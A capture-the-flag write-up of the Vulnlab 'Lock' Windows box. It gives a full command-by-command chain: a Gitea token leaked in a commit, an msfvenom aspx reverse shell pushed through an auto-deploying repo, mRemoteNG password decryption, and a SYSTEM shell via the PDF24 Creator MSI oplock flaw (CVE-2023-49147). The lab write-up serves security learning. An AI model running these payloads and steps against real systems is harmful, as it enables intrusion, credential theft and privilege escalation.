Lock is an easy windows box from Vulnlab created by xct and kozmer. It involves gaining a foothold by abusing CI/CD in Gitea to upload a shell, decrypting mRemoteNG configs, and gaining system access by exploiting the MSI installer in PDF24 Creator.

NMAP

As always, we start with a standard nmap scan

1
2
3
4
5
6
PORT     STATE SERVICE
80/tcp open http
445/tcp open microsoft-ds
3000/tcp open ppp
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
➜  lock sudo nmap -sCV -p80,445,3000,3389,5357 --min-rate=5000 10.10.78.126 | tee nmap.txt
[sudo] password for serioton:
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-01-19 08:18 EST
Nmap scan report for lock.vl (10.10.78.126)
Host is up (0.049s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Lock - Index
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
....
HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 19 Jan 2024 13:18:29 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
....
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=8754cc9f87bf5b93; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=JMeupsqJURAdLO4SvVNoOVySlMM6MTcwNTY3MDMxNTA1NTIzMjMwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Fri, 19 Jan 2024 13:18:35 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2024-01-19T13:19:53+00:00
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2023-12-27T14:19:36
|_Not valid after: 2024-06-27T14:19:36
|_ssl-date: 2024-01-19T13:20:32+00:00; -2s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
...

From the Nmap scan, we can see there are 5 ports open.

WEB

We start by looking at the website on port 80, but there is nothing interesting so far.

GITEA

We have Gitea running on port 3000, so let’s go there. There is an interesting script inside the dev-scripts repository of the ellen.freeman user
http://lock.vl:3000/ellen.freeman/dev-scripts/src/branch/main/repos.py which looks like it’s using a gitea access token. If we go to the commits we can see the Gitea access token is there in the initial commit:

1
2
3
4
...
# store this in env instead at some point
PERSONAL_ACCESS_TOKEN = '<REDACTED>'
...

Great, now we have the access token. What we can do with it? We can place it inside the script we just got and run it like this:

1
2
3
4
➜  lock python3 repos.py <http://lock.vl:3000>
Repositories:
- ellen.freeman/dev-scripts
- ellen.freeman/website

As you can see, there is another repo called “website”, so let’s clone it:

1
2
3
4
5
6
7
8
9
➜  lock git config --global http.extraHeader "Authorization: token <REDACTED>"
➜ lock git clone http://lock.vl:3000/ellen.freeman/website
Cloning into 'website'...
remote: Enumerating objects: 165, done.
remote: Counting objects: 100% (165/165), done.
remote: Compressing objects: 100% (128/128), done.
remote: Total 165 (delta 35), reused 153 (delta 31), pack-reused 0
Receiving objects: 100% (165/165), 7.16 MiB | 1.78 MiB/s, done.
Resolving deltas: 100% (35/35), done.
1
2
3
➜  lock cd website
➜ website git:(main) ls
assets changelog.txt index.html readme.md

This looks like it’s the website running on port 80. The README.md file mentions something interesting

1
2
3
4
➜  website git:(main) cat readme.md
# New Project Website

CI/CD integration is now active - changes to the repository will automatically be deployed to the webserver

Shell as ellen.freeman

The README file suggests that any changes made to the repository, such as adding or modifying files, will automatically be deployed to the associated web server. So the idea here to commit an aspx shell, which the CI/CD pipeline will then automatically deploy to the web server. Once deployed, we can get a shell by accessing http://lock.vl/shell.aspx.
Let’s execute the attack. First, we need to generate an aspx shell using msfvenom like this:

1
2
3
4
5
6
7
➜  website git:(main) msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.210 LPORT=443 -f aspx -o exploit.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3402 bytes
Saved as: exploit.aspx

After that, we need to add the exploit.aspx file to our Git staging area and commit the changes:

1
2
3
4
5
➜  website git:(main) ✗ git add exploit.aspx
➜ website git:(main) ✗ git commit -m "meow"
[main d182b50] meow
1 file changed, 45 insertions(+)
create mode 100644 exploit.aspx

Next, we configure our Git to use the authorization token we obtained earlier:

1
➜  website git:(main) git config --local http.extraHeader "Authorization: token <REDACTED>"

Finally, we push the commit to the remote repository

1
2
3
4
5
6
7
8
9
10
11
➜  website git:(main) git push origin main
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 1.41 KiB | 1.42 MiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To <http://lock.vl:3000/ellen.freeman/website>
73cdcc1..d182b50 main -> main

Now, let’s setup a listener and then request our shell like this

1
2
➜  lock rlwrap nc -nlvp 443
listening on [any] 443 ...
1
➜  lock curl <http://lock.vl/exploit.aspx>

We got a shell as the lock\\ellen.freeman user :)

1
2
3
4
5
6
7
8
9
➜  lock rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.8.0.210] from (UNKNOWN) [10.10.78.126] 50949
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

c:\\windows\\system32\\inetsrv>whoami
whoami
lock\\ellen.freeman

ellen.freeman to gale.dekarios

As you can see, we have another user called gale.dekarios that we need to escalate to

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\\Users> ls
ls

Directory: C:\\Users

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/27/2023 2:00 PM .NET v4.5
d----- 12/27/2023 2:00 PM .NET v4.5 Classic
d----- 12/27/2023 12:01 PM Administrator
d----- 12/28/2023 11:36 AM ellen.freeman
d----- 12/28/2023 6:14 AM gale.dekarios
d-r--- 12/27/2023 10:21 AM Public

Inside ellen.freeman’s Documents directory, there’s an interesting config file

1
2
3
4
5
6
7
8
PS C:\\temp> cd C:\\users\\ellen.freeman\\documents
PS C:\\users\\ellen.freeman\\documents> ls

Directory: C:\\users\\ellen.freeman\\documents

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/28/2023 5:59 AM 3341 config.xml

config.xml

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="<http://mremoteng.org>" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GCM" KdfIterations="1000" FullFileEncryption="false" Protected="sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3olLRy+DhDFp" ConfVersion="2.6">
<Node Name="RDP/Gale" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="a179606a-a854-48a6-9baa-491d8eb3bddc" Username="Gale.Dekarios" Domain="" Password="<REDACTED>" Hostname="Lock" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>

This is a mRemoteNG config file belonging to the gale.dekarios user. However, the password is encrypted. A quick google search for “mremoteng password decrypt” leads us to this tool https://github.com/gquere/mRemoteNG_password_decrypt that decrypts mRemoteNG configuration files. Running it gives us the decrypted password:

1
2
3
4
5
➜  lock python3 mremoteng_decrypt.py config.xml
Name: RDP/Gale
Hostname: Lock
Username: Gale.Dekarios
Password: <REDACTED>

Now that we have the password, we can try to RDP into the machine

1
➜  lock xfreerdp /u:gale.dekarios /d:WORKGROUP /p:'<REDACTED>' /v:lock.vl /size:1280x720

Indeed, we got an RDP session and can read the user flag :)

1
2
3
4
C:\\Users\\gale.dekarios>cd Desktop

C:\\Users\\gale.dekarios\\Desktop>type user.txt
VL{REDACTED}

SYSTEM

In C: drive, there is an interesting _install directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
C:\\>cmd /c dir /A
Volume in drive C has no label.
Volume Serial Number is A03D-9CEF

Directory of C:\\

12/28/2023 06:17 AM <DIR> $Recycle.Bin
12/27/2023 12:38 PM <DIR> $WinREAgent
01/19/2024 04:56 AM <DIR> Config.Msi
12/27/2023 06:14 PM <JUNCTION> Documents and Settings [C:\\Users]
01/19/2024 04:36 AM 12,288 DumpStack.log.tmp
12/27/2023 11:11 AM <DIR> Gitea
12/27/2023 10:27 AM <DIR> inetpub
01/19/2024 05:47 AM <DIR> Microsoft
01/19/2024 04:36 AM 1,207,959,552 pagefile.sys
05/08/2021 12:20 AM <DIR> PerfLogs
12/28/2023 11:28 AM <DIR> Program Files
12/28/2023 11:24 AM <DIR> Program Files (x86)
12/28/2023 11:24 AM <DIR> ProgramData
12/27/2023 06:14 PM <DIR> Recovery
12/27/2023 06:14 PM <DIR> System Volume Information
01/19/2024 04:39 AM <DIR> temp
12/28/2023 06:14 AM <DIR> Users
12/28/2023 11:18 AM <DIR> Windows
12/28/2023 11:23 AM <DIR> _install
2 File(s) 1,207,971,840 bytes
17 Dir(s) 5,546,426,368 bytes free

It contains some software installer files:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\\>cd _install

C:\\_install>dir
Volume in drive C has no label.
Volume Serial Number is A03D-9CEF

Directory of C:\\_install

12/28/2023 11:21 AM 60,804,608 Firefox Setup 121.0.msi
12/28/2023 05:39 AM 43,593,728 mRemoteNG-Installer-1.76.20.24615.msi
12/14/2023 10:07 AM 462,602,240 pdf24-creator-11.15.1-x64.msi
3 File(s) 567,000,576 bytes
0 Dir(s) 5,546,401,792 bytes free

The pdf24-creator-11.15.1-x64.msi is intriguing. Googling “pdf24-creator-11.15.1 exploit” brings up a blogpost (https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/) about a privilege escalation vulnerability (CVE-2023-49147) with a proof-of-concept (PoC). Basically, we can run the following command to start the repair of PDF24 Creator and trigger the vulnerable actions without a UAC popup:

1
msiexec.exe /fa C:\\_install\\pdf24-creator-11.15.1-x64.msi

The installer should start. Now, we need to set an oplock on the faxPrnInst.log file as soon as it gets read. We can do that using the SetOpLock.exe tool from https://github.com/googleprojectzero/symboliclink-testing-tools. First let’s transfer it to the victim machine

1
2
3
4
5
6
7
8
PS C:\\temp> iwr <http://10.8.0.210/SetOpLock.exe> -outfile SetOpLock.exe
PS C:\\temp> ls

Directory: C:\\temp

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/19/2024 6:06 AM 116224 SetOpLock.exe

Then we execute it like this:

1
C:\\temp\\SetOpLock.exe "C:\\Program Files\\PDF24\\faxPrnInst.log" r

As per the blogpost, if the oplock is set, the cmd window that opens when pdf24-PrinterInstall.exe is executed doesn’t close:

1
2
PS C:\\temp> C:\\temp\\SetOpLock.exe "C:\\Program Files\\PDF24\\faxPrnInst.log" r
OpLock triggered, hit ENTER to close oplock

At this point, we need to follow these steps to spawn a SYSTEM shell:

  • right click on the top bar of the cmd window.
  • click on properties.
  • under options click on the “legacy console mode” link.
  • open the link with Firefox (it should open a link like this “https://go.microsoft.com/fwlink/?LinkId=871150“).
  • in the opened browser window press the key combination CTRL+o.
  • type “cmd.exe” in the top bar and press Enter.
    If all the steps are executed successfully, we should get a SYSTEM shell:
1
2
3
4
5
C:\\Windows>whoami
nt authority\\system

C:\\Windows>type C:\\Users\\Administrator\\Desktop\\root.txt
VL{REDACTED}

That concludes the box. I hope you learned something new 🐈